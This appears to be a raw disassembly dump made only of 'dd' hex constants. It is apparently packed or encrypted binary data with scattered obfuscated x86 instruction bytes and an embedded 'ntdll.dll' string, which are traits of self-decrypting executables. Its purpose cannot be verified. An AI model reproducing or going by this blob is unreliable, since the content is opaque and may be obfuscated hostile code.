		dd 38DC739Bh, 0E2873Fh,	0E55FC703h, 0CB15916Ch,	2804050Dh
		dd 3F19F87Eh, 6E74EF69h, 0FBDF2186h, 50B61CF1h,	91EE4903h
		dd 70F34E2h, 0B240CC2Ah, 88DA5715h, 0FD612169h,	22021FB5h
		dd 0D71F45A1h, 26989B3Dh, 66030A4Ch, 732DD05Eh,	1FDE50F0h
		dd 97FD074Fh, 0C22B14CEh, 62093598h, 8AC20394h,	56D8147Bh
		dd 0FD6C53A5h, 441E4641h, 0BFC78DE5h, 71E44A2h,	910E900h
		dd 0A4A7C63Ch, 0B8000008h, 76EBF355h, 29244C12h, 9C7199CFh
		dd 5489D187h, 34C52D7Bh, 184CA93Ah, 52061DF0h, 0ADFBD70Ah
		dd 0E4AA8845h, 9661039Ch, 300E120h, 0BC7AF060h,	50DCBFEh
		dd 4991C7DFh, 5AF0A5A3h, 34BD35D9h, 0F7AD950Fh,	26A381Ah
		dd 0B3A5F3CFh, 852DAh, 7F956600h, 0FA9E6C26h, 254B0D4h
		dd 9842D71Ch, 819832C8h, 4D4937A7h, 19562C0h, 0BA855FD9h
		dd 50D3704h, 0D9347C44h, 0E3A395FBh, 6277C023h,	0FFC70F34h
		dd 1D348679h, 187C030Ah, 435CBD94h, 7D63A4D3h, 0C40C1853h
		dd 80094E04h, 4990B5E1h, 54000001h, 241240A2h, 67DF58F2h
		dd 27050DCBh, 97F24F1Fh, 0ECCA57C1h, 8B66B0A6h,	0DB26E6AAh
		dd 8C41A9FFh, 939222B2h, 0DB450B68h, 3E66A8F9h,	0F8AC8564h
		dd 6164CE28h, 0EF9F9832h, 79050D65h, 7FD284E0h,	81C53365h
		dd 23151DC1h, 0E7777D45h, 782E088Bh, 668EB6FEh,	3D98FEBh
		dd 0C282C82Eh, 445FB264h, 0A2622214h, 0D66F141h, 0E5CFD305h
		dd 36B3915h, 1DB7E4F9h,	0D65A422h, 6AECD405h, 0BCC494EFh
		dd 0BE8C42A1h, 35082791h, 991D1EE3h, 0D9050DEBh, 4D1B74E9h
		dd 68C11305h, 94D04608h, 430969F4h, 3C1DB7D5h, 17827422h
		dd 0BDE96F39h, 3BB1D575h, 0C81040A3h, 0B06A3E15h, 0EB991D1Eh
		dd 0E9D9050Dh, 43E53F39h, 0DEB4EF0h, 38260E05h,	6A743F81h
		dd 0E329F965h, 401AB0E5h, 7C78DE9h, 34D0BB24h, 93FBCB0Fh
		dd 0C3351B7Eh, 653F6C61h, 0AAA189Ah, 0DE586803h, 0ED44A8B0h
		dd 0F563350Ch, 10465CB1h, 496ED70h, 0BFEB6B46h,	0F2B452B4h
		dd 56F5DD79h, 0CD2CE62Eh, 0EDE5A5F3h, 0C94F1170h, 964C697Fh
		dd 64AF91A8h, 27E72C48h, 1C55A29Dh, 0DDE50933h,	40CC2A07h
		dd 0FB6457C1h, 2A2C547Ch, 0AFA2AA7Ah, 61FC0454h, 0BD375F05h
		dd 6C267F95h, 34C91E93h, 0E2C1580Fh, 5C0CB8BEh,	3BA690A0h
		dd 956F77D9h, 19AB17E5h, 0AD8EB27Eh, 633057FDh,	18C07AF5h
		dd 9488050Dh, 3E5A3920h, 3E21AFDBh, 27000000h, 61D646A2h
		dd 3B837C39h, 7B050D34h, 619EC54Bh, 1C9F99C1h, 50D0E9Ah
		dd 0E27C7048h, 4B88D086h, 50D2D37h, 0FFB63243h,	0D46EFFFFh
		dd 0D2FD36Bh, 0F44AB505h, 0B4050D2Fh, 0C0F08Ch,	1E44A25Ah
		dd 617E564h, 3748B8Ch, 0CB2D0BDBh, 4F257E95h, 0AF2C04E5h
		dd 51DF0751h, 547183ACh, 0D73FEFB0h, 1829C7Dh, 95357D23h
		dd 5F7ED5EFh, 3825B2DAh, 23000000h, 4F257E95h, 0CBA41AE5h
		dd 9E4050Dh, 673D652Bh,	0CBCC72CDh, 0A48C050Dh,	63E57EE4h
		dd 5A1046A2h, 7A2C04E5h, 0E54739AAh, 0E37E2804h, 2B5BDD83h
		dd 201A7Bh, 95A60000h, 3A20E37Eh, 0DC9D7389h, 0F73F6541h
		dd 0A41AE57Dh, 0AD050DCBh, 63E56F05h, 5A1046A2h, 42A248CCh
		dd 15A92214h, 0C7050DCBh, 8C26F9F3h, 0CBB509EAh, 0CDF5050Dh
		dd 0DCBE84Eh, 0C898A805h, 254D1B75h, 68A3816Fh,	423ACF5Ah
		dd 3927A70Ch, 42025E51h, 0D9833E1h, 8F1A7B05h, 0A6FFFFF4h
		dd 7A1046A2h, 59DF89E7h, 0CF157D2Dh, 3506DC99h,	0F34F030h
		dd 0BD01F250h, 0FD030AD2h, 0D262D427h, 1222030Ah, 4D1B77EAh
		dd 22981305h, 3030AD2h,	14857325h, 90F36E38h, 0ED6B3915h
		dd 1C8771B9h, 0BD496E46h, 1DFC5359h, 0A3E35503h, 802A69E3h
		dd 7F1B5E1h, 77000000h,	15Eh, 7F95DA00h, 30CA6C26h, 0DCB7FC7h
		dd 57F73F05h, 34E21BD4h, 5DDBEB0Fh, 0AAB2E4FCh,	0AEDD8A9h
		dd 672D0903h, 4DA4851Fh, 0B9691D1Bh, 461C4AA4h,	8D888EBh
		dd 9BCF782Eh, 0ED6CEABEh, 1F57C197h, 0F97F2502h, 0FCC12B4Fh
		dd 0CF9F1509h, 805DA5F3h, 9875FCA2h, 9D6DD4BAh,	7B5B33B9h
		dd 0F950C015h, 6D17B79Dh, 5A5F6ED5h, 0BB9970B0h, 522A35D5h
		dd 0E000001h, 0CB338B74h, 4373FA8Dh, 17E5D983h,	0E3C3CC19h
		dd 933FB3BDh, 64280904h, 3812B2F2h, 7DDC7625h, 0E9933361h
		dd 0CBA11AE5h, 1AA8050Dh, 0E294FA40h, 92762F09h, 0DF61DA1h
		dd 2D555D05h, 63E5877Dh, 66FB4C5Bh, 201F9905h, 0FFB174D6h
		dd 0AC5749B7h, 91D5AE3Eh, 44A20BF1h, 176CEFCBh,	571F1941h
		dd 0BFB9552Fh, 0B5E37E95h, 6BB26CADh, 0E5A35981h, 0FD7B2D04h
		dd 0E553051Ch, 0A1A979A1h, 5BD705EBh, 60CEAA4Eh, 79295107h
		dd 2A04E583h, 57CAFA7Ch, 967C2C7Ch, 0B2DA5FC1h,	8868h
		dd 0C92ACC00h, 0F80DCB75h, 32100D35h, 0EABAEA6Ch, 257E9570h
		dd 25B1926Fh, 878B4922h, 0E4A4EC96h, 0A41AE57Eh, 0E4050DCBh
		dd 0C82B06DCh, 36D69E98h, 2D04E54Ch, 19C9FD7Bh,	7750A943h
		dd 0A2FB6121h, 0A07A1046h, 0CB892D0Eh, 0F9C9050Dh, 0DCBC47Ah
		dd 0F9C5F605h, 26F71D4Ch, 30AA7A4Ah, 7E2804E5h,	959B3DAEh
		dd 5FD836F9h, 50D3DE7h,	0F2919FA7h, 0E79D4DC7h,	365Eh
		dd 0A67FA00h, 0CBCB73CCh, 0BB8B050Dh, 1C18573h,	0F07E955Bh
		dd 0EE84CC92h, 0CBA41AE5h, 5AD050Dh, 0CE94F24Fh, 43E5641Eh
		dd 4B09D2FDh, 0B45447FFh, 1046A2CEh, 5E48CC5Ah,	0FFFFFEA0h
		dd 1E44A2DAh, 0F359B918h, 31DCD359h, 0F8FA47A5h, 0D06A2028h
		dd 0C3351B79h, 0EB2E9083h, 466E050Dh, 8F468C86h, 0DEB0AACh
		dd 327A4A05h, 0D32CC698h, 50DEB6Bh, 0A6181B2Bh,	0E6050DEBh
		dd 8B740EDEh, 0F34B836h, 0DB63DC76h, 9B030ADAh,	7AF563ABh
		dd 30ADAC0h, 39209488h,	0B5E1785Ah, 2021h, 7F952700h, 0DA936C26h
		dd 3A0F34C1h, 2F930C0Ah, 67030AC1h, 0C1868963h,	48B5E175h
		dd 0C7h, 1E44A28Ch, 85CB918h, 7FB3930Eh, 0DCB3AFCh, 24A7A05h
		dd 0E7AD8514h, 0C7225C9Fh, 53B3050Dh, 0A68E50Dh, 1270D244h
		dd 0CFDE60D3h, 969E050Dh, 7C55B46Eh, 0A6662E28h, 0EC12231Ch
		dd 0A5840F34h, 691D1B49h, 8C6FC5B9h, 30AEE2Ah, 0E6B28F6Ah
		dd 7DDC76BEh, 0C6223F65h, 3EEEA690h, 9DC60CD6h,	322F74C7h
		dd 0D7DF0935h, 95C3DC3Dh, 1E7AD74Dh, 8B86CE48h,	3470E6AAh
		dd 2DAC8994h, 0CE478FD5h, 9113D43h, 4C126BE1h, 0D0000002h
		dd 8E43ABFDh, 419CE4AAh, 34293167h, 0EC6189DFh,	9CBDC593h
		dd 0B0E4C1E2h, 0A5EB5A8h, 45136FE2h, 9CC2203Dh,	3E39DB74h
		dd 300FB78h, 0A2D2A838h, 0BDE3C641h, 92F06D75h,	0E5CEA4CCh
		dd 55AC2F04h, 295DDB03h, 0D989DF34h, 8A401573h,	34C1E4A9h
		dd 663C040Fh, 2BFBAD8Bh, 0D2360BCDh, 0E35FDC8Ch, 0AB030AC1h
		dd 4EA3DB7h, 87016E68h,	62E8B83Ah, 0B5E20225h, 2F7150A9h
		dd 83E07D29h, 7B2B5BDDh, 0BFE4h, 44A26000h, 0BDBBEDCBh
		dd 6A3C1409h, 48A53422h, 0E5A11A1Ch, 74050DC7h,	2D20481Eh
		dd 3F898FD5h, 991D1E29h, 0D9050DCFh, 8EBA1E9h, 0F34EC3Fh
		dd 9112728Fh, 0B1A7EFB5h, 9FA5CDF5h, 4582EA49h,	0BDB9B61Bh
		dd 0D05CDF75h, 640935E7h, 1EEC865Ch, 21881511h,	0C7DF32DCh
		dd 136CF191h, 0C7203D45h, 83C92E03h, 3082E90h, 1E466E05h
		dd 110C1407h, 431A1009h, 14Fh, 46AEFACDh, 9FE7A98Bh, 2C346242h
		dd 648CD031h, 0B0D88CE9h, 9DFEE561h, 57B2AFB7h,	0A64F901h
		dd 0F9D9345Ch, 30D44B93h, 0FA7FC7h, 0DD573F03h,	791341A2h
		dd 0CDC82E0h, 632909C4h, 922417A9h, 0D2050DCBh,	502A22E2h
		dd 0E9CB44A2h, 5FF97FA7h, 0B8BEE4C2h, 6F35110Ch, 1E44A2BFh
		dd 0F0D2F644h, 58A3A15Bh, 0E36D7CE6h, 0D8881FDBh, 277C6AB0h
		dd 7CF5926Dh, 7D450F34h, 0B46C4AA7h, 0A72F34Bh,	5B83B303h
		dd 0AA0CEF81h, 0EA030A72h, 0FC20ADAh, 5DF76137h, 4BB46E37h
		dd 9394C1Dh, 0E178D1E1h, 5709151Fh, 0A5BCD1h, 54BB0000h
		dd 1371ECF4h, 0CC28254Dh, 869F729Ah, 7A578AD2h,	3B37C62Eh
		dd 0F1194FA8h, 0B53051Ch, 46AEF4D6h, 9DE5AB8Bh,	21956602h
		dd 610300F9h, 7F957BF1h, 54C296F3h, 0C132E810h,	0F3EF32Bh
		dd 28A9AF97h, 0A67C84CAh, 6838684Bh, 61D7BD95h,	177D5AB7h
		dd 46A56521h, 0CFD15137h, 16E8CCC6h, 88026A30h,	5C0C50B1h
		dd 0BDBBE1C1h, 0A791C7DCh, 8D8BD93Ah, 0F660360Ch, 94F2E178h
		dd 63F89D67h, 0D6387D77h, 3210EAC2h, 0E9C9046Ch, 98F6F565h
		dd 5BB5EEEFh, 135B0B0Dh, 8106DEBh, 0A8000000h, 7B2D04E5h
		dd 0A2EB8DABh, 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h, 0C455C395h
		dd 0DEBBBDEBh, 30A197FDh, 0E8B8DD3h, 63FE782Eh,	32D95F01h
		dd 81E18951h, 4C1h, 4E98300h, 8B240C87h, 89512424h, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 240C895Ch, 5E08950h, 4
		dd 8704E883h, 895C2404h, 0BE562414h, 7C2316FAh,	691D6856h
		dd 0C15E1CCBh, 0EE8108E6h, 1D7478C2h, 459FF681h, 0F681296Ah
		dd 6AECECEh, 295EF189h,	0B1685EF1h, 8900007Dh, 4812424h
		dd 424h, 0B8505A00h, 8,	8F51D001h, 148B5800h, 0E3895324h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 592434FFh,	4C481h
		dd 0F3E90000h, 0ADFFFA49h, 689C5AC7h, 0BA9029E6h, 0E034FA1Ah
		dd 0E3B8FF1Ch, 3060D32h, 85C650C5h, 6071C4Dh, 17256847h
		dd 0B5FFCF38h, 60701A9h, 3A13858Dh, 0D0FF0607h,	858DD88Bh
		dd 607272Dh, 1046850h, 0D3FF0000h, 1C4D85C6h, 68530607h
		dd 8307F8BFh, 1A9B5FFh,	858D0607h, 6073A13h, 8589D0FFh
		dd 60D1656h, 32B9BD83h,	0F000607h, 0B84h, 0D99D8B00h, 0E9060730h
		dd 5, 0BBh, 1006800h, 0B58D0000h, 60D165Ah, 95FF5356h
		dd 6071AE1h, 165AB58Dh,	0F003060Dh, 1E9h, 3E804E00h, 9840F5Ch
		dd 80000000h, 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h,	0D165A85h
		dd 95FF5006h, 60D1656h,	20E0FF58h, 0AF5BCEFEh, 413F3A36h
		dd 0F06A86A7h, 38164EACh, 0A94ABE31h, 5323DC48h, 0DD1809C7h
		dd 9803B58Fh, 3222FA28h, 0B73CAC33h, 1E38DD38h,	0E8395EE0h
		dd 0Bh,	0DD733DC2h, 8F73E778h, 663B2716h, 0A6E0DF81h, 0F98B665Ah
		dd 5BF6C281h, 0B6BF0000h, 0B844B8A6h, 16D0h, 0E68EBB66h
		dd 0F3810A8Bh, 3FB6D081h, 0DC67E981h, 880F6F51h, 0
		dd 0CEC0C181h, 6E81C79h, 36000000h, 32D3C93Ch, 0C3816690h
		dd 815F7FE4h, 99A4DDE9h, 800F5148h, 0Ch, 68D0Fh, 0E7810000h
		dd 1C863961h, 8166028Fh, 83368AC6h, 13E804EAh, 3E000000h
		dd 1D061FF0h, 63925B63h, 707262E6h, 0FD40951h, 5FF50D30h
		dd 0F01E883h, 1085h, 21DF8100h,	0E9542729h, 16h, 0C5BD027Dh
		dd 0E7816649h, 75E97291h, 3AFFFFFFh, 17EDC206h,	8D8D79DEh
		dd 60D3636h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	37C35545h, 0BC8AC945h, 1B418D89h, 6A0607h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0EA465C3h, 0C77C7639h, 7060585h, 67EC06h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8F0F194Dh, 6, 2C55858Bh, 858B0607h, 6071C41h, 10C88160h
		dd 0F0CC524h, 683h, 0DB58B00h, 6106071Bh, 6985C7h, 607h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 816697C3h, 0FFC444C8h, 72C11B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0C777992Ah, 95FF8544h, 60701E1h, 5CFABF66h, 95FF006Ah
		dd 6073201h, 9EBC08Bh, 0EF11191Eh, 796F3041h, 0DA8D8DFEh
		dd 0B6060D36h, 259D8B86h, 89060718h, 71B418Dh, 0C7F78B06h
		dd 7060585h, 5BC006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 958926CEh, 6071B29h, 6985C7F8h
		dd 60700h, 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 689C351h, 8964C7D7h, 6D66F2D3h
		dd 0FFD1B70Fh, 73041B5h, 831B806h, 95FF4B0Fh, 60701E1h
		dd 9D8BF28Bh, 607076Dh,	95FF006Ah, 6073201h, 5AEBC08Bh
		dd 76DD795Ch, 2C08FF38h, 96E20D3Dh, 0ACBC2AA2h,	4E436640h
		dd 0CE6E66B5h, 59BA19A9h, 2872CA8Eh, 5ACF78F5h,	8A042F94h
		dd 0A3374469h, 0F87342D2h, 0CE6FEF9Fh, 56A81B18h, 6F2DE421h
		dd 2EF3C1Ch, 129E9C7h, 0A1FAA901h, 0B4BFFCF2h, 32E42026h
		dd 0C85E22ABh, 0EF03E40Fh, 26EB6143h, 33B61B90h, 558EAFECh
		dd 6C64746Eh, 6C642E6Ch, 2188006Ch, 5D340746h, 0F273A3D2h
		dd 2500h, 0
		dd 4CE90000h, 68000006h, 60D389Eh, 0FA4609E9h, 396168FFh
		dd 0FFE9060Dh, 68FFFA45h, 60D3A06h, 0FA45F5E9h,	3ADF68FFh
		dd 0EBE9060Dh, 68FFFA45h, 60D3B9Ch, 0FA45E1E9h,	3C7268FFh
		dd 0D7E9060Dh, 0FFFA45h, 0FE137B2Dh, 0B1ACB49Ah, 64F90157h
		dd 0DC31590Fh, 0AC4D95C3h, 80D431B2h, 0DA8EE578h, 15435FB2h
		dd 6C3210CDh, 0EE98B04h, 300FCA8h, 4FA278E8h, 74302672h
		dd 38E8BC99h, 135E42h, 0A2DA0000h, 0B9181E44h, 68EBF359h
		dd 50DCBD2h, 0B9C197F3h, 267F95C3h, 0C072936Ch,	0F2C20F34h
		dd 0C3378B04h, 3316030Ah, 0B6EEB6Dh, 0ADB5D345h, 82866247h
		dd 7360272Ah, 5327B5E1h, 2D000002h, 0A8818A69h,	0F7401A4Ch
		dd 50DCB4Fh, 0AD67270Fh, 605538A7h, 9C0D19D8h, 2729E32Ah
		dd 64AC6BC7h, 0FE104DAEh, 0D0E00F34h, 24021F85h, 0D385E37Eh
		dd 82612165h, 47D86E29h, 36EC89DFh, 1D6A28C5h, 0AEA898CDh
		dd 0FF95CE04h, 1DEEBC7Ch, 4FA200CBh, 80362573h,	0C0C72915h
		dd 5F051DF0h, 869C7D17h, 2C1288D0h, 1D79E693h, 9B85C137h
		dd 0FDADADA6h, 0C55C0260h, 46FB5B57h, 6C3E5FD5h, 3C000004h
		dd 0FA177F29h, 0ADA0C89Eh, 60FD0553h, 0D8355D03h, 0B041A9FFh
		dd 84D02DB6h, 0DE82E17Ch, 297F5BB6h, 60360CC1h,	12ED8718h
		dd 300F3ACh, 0A28E64ECh, 8E181E44h, 0F6411B58h,	0F34F1E1h
		dd 6C2457A1h, 0CC8273EDh, 0E72F7551h, 0D16A899Fh, 9628E2B3h
		dd 1F759BBh, 0E9A68545h, 19093369h, 20DCC29h, 509DAE8Ah
		dd 5EB399F9h, 0D278287Eh, 0CA35EFB4h, 97A9E32Dh, 3E60409Dh
		dd 0E1FD5CF6h, 0A70F4DB3h, 0FF3E54E6h, 697FC92Fh, 5BBB964Ch
		dd 579FC120h, 0B14BEDB7h, 970FF046h, 0C080B09Bh, 0A988DD63h
		dd 0BB516191h, 0AF8840A6h, 9D9D7317h, 85EBA57h,	9D7098C0h
		dd 0E446DF85h, 4E708F35h, 3A9B5C8h, 0ECC30000h,	5BB954BCh
		dd 1470EDF5h, 0CE273A42h, 829F729Ah, 0F36F8ED6h, 0B9C197F0h
		dd 0F31B4DA4h, 0E563C1Eh, 45ADF3D3h, 69CD2ECAh,	290300F2h
		dd 44A2C3B9h, 89E5441Eh, 9B2D0BDBh, 6E15EE4Dh, 40B6E2FFh
		dd 96831A04h, 38D288B0h, 989EC221h, 863F3CECh, 0C60F34DEh
		dd 64C96FEh, 4EAA875Dh,	41B24818h, 9398F3Eh, 2A10CAFAh
		dd 421B7282h, 8B51F16Bh, 0C2DF50B6h, 0CB066E96h, 0F9DA37EBh
		dd 3916A8ABh, 6E560507h, 70963026h, 56CB91F6h, 28E22A70h
		dd 3E1E8ACFh, 0D34A7A0Fh, 311FE59h, 40459DFh, 0A4000003h
		dd 62FF0741h, 0D5085006h, 8845ADFBh, 409DE5ABh,	8293167h
		dd 2C78554Eh, 662A09C4h, 0B1E7C31Eh, 85EB4A9h, 0AA952FE0h
		dd 300F114h, 0A276CC54h, 0C7BE8C44h, 0D501BA33h, 92793D3Eh
		dd 939050Dh, 0C1250BC1h, 129664BAh, 9A6ACC2Fh, 1A2A050Dh
		dd 34647FD2h, 64C282C2h, 5DF84C2h, 34BD213Ah, 951610Fh
		dd 17F28h, 8F695000h, 0E7BDE6ECh, 0AC7C2A0Ah, 0EF682516h
		dd 0A8980F34h, 0CEEC8E4Dh, 6C7A76C9h, 5A29D37h,	93FC0F1Dh
		dd 2F45ABEh, 0A6F2CF42h, 0CC4A7AE6h, 58DB370Ah,	65211779h
		dd 0A1A76D3Dh, 5FDD5EF4h, 0E3FA0FB5h, 0C22039D3h, 3E386C49h
		dd 6C264E76h, 4ED569CAh, 0AD95F63Bh, 0CE0260FDh, 3B4EC96Dh
		dd 71B989F6h, 0E9689A98h, 8BE25815h, 22Bh, 0D63E6A7Dh
		dd 6F77D93Bh, 0BCC492F2h, 0F41C40A1h, 683C19h, 0D6E75F1h
		dd 0C7223F47h, 0BA944991h, 694984ECh, 0A044DB23h, 0F1EF57h
		dd 4D27AF03h, 4EF043E5h, 0E050DCBh, 0BB9B6626h,	9A653FD5h
		dd 50DCB24h, 0AA8C5C64h, 383BCA18h, 50DCB86h, 163FEC6h
		dd 0DB7D175Fh, 0DCBE658h, 0CE9EA605h, 0F1D2CB34h, 0A2920F34h
		dd 88B34C5Ah, 0F043195Ah, 933F5B7h, 0E5AB8861h,	6C89B925h
		dd 6A2656EDh, 0D56BC96h, 184BE457h, 0CBFB81D5h,	0C8EDFB4Dh
		dd 83E17812h, 52CD9F1Bh, 367E2FF1h, 67C484C0h, 87D5E2D9h
		dd 0E6A88865h, 2D05E4BEh, 0E4C21F67h, 1BE1A7BEh, 999F7A33h
		dd 16EC4h, 71D73E00h, 0CA9CF469h, 751AFA2h, 5F0562FFh
		dd 0ABF9DA37h, 2BB8B243h, 9F729ACEh, 518CD484h,	0AC72F75h
		dd 811E662Ch, 0F0A214E7h, 72E20300h, 1E44A2F8h,	763FE18h
		dd 0B2AFE751h, 0C9430351h, 67310F9Bh, 259A653Fh, 650F34E5h
		dd 49AA875Dh, 0A9034B1Bh, 4EF043E5h, 0E050DCBh,	0A6AC6626h
		dd 9BD427FDh, 6B0F3E92h, 36473F9Dh, 0ADD50B5Ah,	6C3A1AF7h
		dd 4FA7BAEAh, 0B7571F19h, 60360CEDh, 0A7EDC518h, 0A4F117B1h
		dd 7A620DEEh, 0EED60933h, 0DEAC9234h, 0E50B065h, 92CCB100h
		dd 0D3176FF2h, 0DA3DE60h, 6E969E05h, 2A7E55B4h,	0D6C4BE2Ch
		dd 6DE8E2B9h, 0F06D6525h, 0F84ACC92h, 3E13C9EAh, 0ED474DAh
		dd 3459D02Dh, 0F950600Fh, 3185C8Dh, 984C2127h, 0D0000000h
		dd 8E43ABFDh, 419CE4AAh, 34293167h, 0EC6189DFh,	9CBDC593h
		dd 0B0E4C1E2h, 0A5EB5A8h, 45136FE2h, 9CC2203Dh,	3E39DB74h
		dd 300F778h, 95D2A838h,	936C267Fh, 0F3E92DAh, 0CA0C0A3Ah
		dd 0FC7FC730h, 653F0300h, 0FC249Ah, 145C6403h, 0C389E974h
		dd 1A40A6BBh, 88FA31Ch,	60622433h, 0CE94F28Ch, 0E94AECA6h
		dd 200D3055h, 0E07D2D15h, 0FF5ADC82h, 2644B2E6h, 2200DAD2h
		dd 99F9147Ch, 0BE9345B3h, 3756F65Ch, 0Fh, 0F96B9F6Dh, 8F71273Dh
		dd 3C3D07Ch, 0A2FF7959h, 0BE1B1D4Bh, 9504F258h,	0EC6DEBB9h
		dd 0C455C395h, 0DEBBBDEBh, 30A197FDh, 0E8B8DD3h, 63FE782Eh
		dd 32D95F01h, 5585450h,	4, 8704E883h, 505C2404h, 405E089h
		dd 83000000h, 48704E8h,	14895C24h, 20FE6824h, 3C890000h
		dd 0BFBD5524h, 0BA32BD4Ch, 0D34FEAE3h, 2C8BEA01h, 4C48324h
		dd 13FB68h, 24248900h, 4240481h, 5F000000h, 8BB53h, 0FB010000h
		dd 1C8B1389h, 4C48124h,	0FF000000h, 835F2434h, 34FF04C4h
		dd 0C4815A24h, 4, 0FA3FD5E9h, 548EFBFFh, 0D65E8858h, 974AF39Eh
		dd 0B804BAB2h, 60D3D2Fh, 0E0FFC503h, 30AC3476h,	53D86DB6h
		dd 6EE4118Ah, 7A470493h, 498DBFADh, 4F060626h, 4C9824CFh
		dd 1277E38h, 520B0FEEh,	5935DD9Eh, 6F8F085Bh, 4A3E254Fh
		dd 0F80AF69h, 86C03D7h,	3A3B2E70h, 67A945CCh, 7182564Bh
		dd 64B46953h, 5E8h, 50FD9400h, 8B66C746h, 816659D6h, 81227DE3h
		dd 5EEBC1h, 0CE900h, 7A180000h,	2E0315FBh, 15CF39A9h, 84B885EFh
		dd 0F9000017h, 11E9398Bh, 0CB000000h, 9004DE0h,	4E03F535h
		dd 0D707FD75h, 242C214Eh, 9A11EF81h, 0F9603109h, 0DE9h
		dd 0AAF2300h, 0F7F42D93h, 0F5D10209h, 8161CD87h, 0CDF23EF7h
		dd 0F1F7815Dh, 662067C2h, 2548F281h, 0D2813989h, 793F4FF2h
		dd 9E3DE981h, 81F81ED8h, 0D89E39C1h, 0F5BE661Eh, 850F48E2h
		dd 30h,	12E9h, 0D650AD00h, 64578BA8h, 38F48059h, 0DE6FBFDDh
		dd 0E9E4E801h, 34h, 0A544E773h,	310D321Eh, 3F9F08C8h, 6BF9F3E3h
		dd 0D35F3BFAh, 0BE9h, 0F74D6100h, 4D958AE8h, 78D84B63h
		dd 0FFFF57E9h, 0A6928FFh, 0D04C790Dh, 0AAB3AD0Eh, 8EBh
		dd 86830000h, 7AE973DEh, 68000004h, 60D3FDFh, 0FA3E79E9h
		dd 407568FFh, 6FE9060Dh, 68FFFA3Eh, 60D41A0h, 0FA3E65E9h
		dd 95FB6FFh, 42146CE1h,	9FC9273Ah, 0D7BD9A77h, 2371528Fh
		dd 0A3403ADBh, 17CA1246h, 0C9046C3Ch, 825FA7EDh, 3996FEA4h
		dd 0F41A9C9Fh, 0CA5A0300h, 1341A270h, 9A5EB425h, 0DCB2599h
		dd 0AB886505h, 0B3373E5h, 7391BBC3h, 56CB9DF7h
		dd 792D2B71h, 0B6959B31h, 6CB34FBDh, 789D2112h,	0D5DD050Dh
		dd 0D427FDADh, 0F345A13h, 0DA55C3F3h, 30A5960h,	59C03428h
		dd 0B5E1FCFAh, 2BE81h, 4E996700h, 3F85C7B3h, 0A5BBDC2Ch
		dd 28507AEFh, 99698278h, 9C390F6h, 34EF712Eh, 0A4B1810Fh
		dd 91B99CA5h, 376C7A7Eh, 0B341A29Dh, 0C1F1F456h, 0CE97FD57h
		dd 0EAA02B14h, 0FCC4F251h, 0A5EBCB26h, 0FCA2805Dh, 0BDB48765h
		dd 0CEAFA50Dh, 2DEh, 0D63E6A7Dh, 6F77D93Bh, 0BCC492F2h
		dd 0F41C40A1h, 683C19h,	0D6E75F1h, 0C7223F47h, 0BA944991h
		dd 694984ECh, 0A044DB23h, 0F4EF57h, 4D27AF03h, 792F04E5h
		dd 3D17B7FFh, 32D48ED7h, 0A791C7DFh, 673C3FEFh,	0F10F3E8Ah
		dd 0F55ADC5Fh, 1A7B0300h, 0E884C036h, 8D3102D8h, 0CD0300F5h
		dd 89B925E5h, 371D7ED3h, 83D1322Fh, 88EE4395h, 681CC504h
		dd 0F63E0B15h, 9A66D556h, 5BBB0300h, 65229467h,	2603FCFFh
		dd 2CC08472h, 7145DC04h, 330F2D47h, 248A03Dh, 0F0D70000h
		dd 0B78D40A8h, 684499E1h, 0DA3BD63Eh, 96F36E76h, 0DF9BBAC2h
		dd 55BDEBC4h, 0EFF759B8h, 3A421072h, 7199CF27h,	85393ADEh
		dd 0C503008Bh, 7F95E75Dh, 86CE92F3h, 8AD673CCh,	5E660F3Eh
		dd 0F5DB67D8h, 0BF930300h, 0A575D235h, 883CB5E7h, 18000001h
		dd 0F87E2201h, 0A2661CCCh, 0F6441E44h, 2473AD7Ah, 0C48AEE1Dh
		dd 0EF6ACC9Ch, 93B9C197h, 896A2075h, 0F34B930h,	6DB98670h
		dd 0E5BE5E50h, 7AC0BBBDh, 32030AF6h, 1473D6DEh,	0DEB5E1A4h
		dd 60949D50h, 3739F90Ah, 7FB573BCh, 3F00C064h, 25h, 267F95C5h
		dd 0E0B48D6Ch, 0D4999A20h, 340F34C1h, 29910A0Ch, 61030AC1h
		dd 0C380876Dh, 4AB5E175h, 0A3h,	0D844A28Eh, 0F23F5E7Ah
		dd 94EC61D1h, 0E81054C2h, 5096F36Eh, 0DC55FE7h,	0EF171F05h
		dd 118AE869h, 35236B31h, 0F0184EA4h, 0DCADD03h,	0E9624005h
		dd 175FD98Fh, 4867E529h, 6B9330BCh, 42A38903h, 0CF5BE7E8h
		dd 94F25808h, 732A15CFh, 8F0F322Dh, 330CEDA7h, 0E7C01D65h
		dd 716058B1h, 10160316h, 11D7Dh, 7D2B0200h, 0B698F815h
		dd 355B3AEh, 5B0166FBh,	97FDDE33h, 2FB4AE4Fh, 0E37E86D2h
		dd 5588D080h, 0EC32B79h, 851A6228h, 8AAE10E3h, 66EE0300h
		dd 1341A28Ch, 0BF3016CBh, 4F07F1A7h, 0E505FF07h, 0AE7E2804h
		dd 772D7353h, 9C86F989h, 39E9696Ah, 1E44A23Fh, 0E7FD5CF6h
		dd 2D3B11B1h, 0F06CD288h, 0EAB89A86h, 6036386Ch, 40F64191h
		dd 50DE5h, 82580830h, 34935DB1h, 460FD0Fh, 78A0E452h, 0B4724FA2h
		dd 2E2D7B55h, 30AA888h,	0BA273EC8h, 8B11C8DAh, 0F31B43h
		dd 30A5EBAh, 8DD5BB9Bh,	6B217750h, 3BEBB196h, 70A03Dh
		dd 0E5D80000h, 0FD7B2D04h, 0D53319C9h, 0CC69CA80h, 7C0F3E8Ah
		dd 3910C234h, 0C78F89DFh, 76DC3A07h, 0B93F36Eh,	51276152h
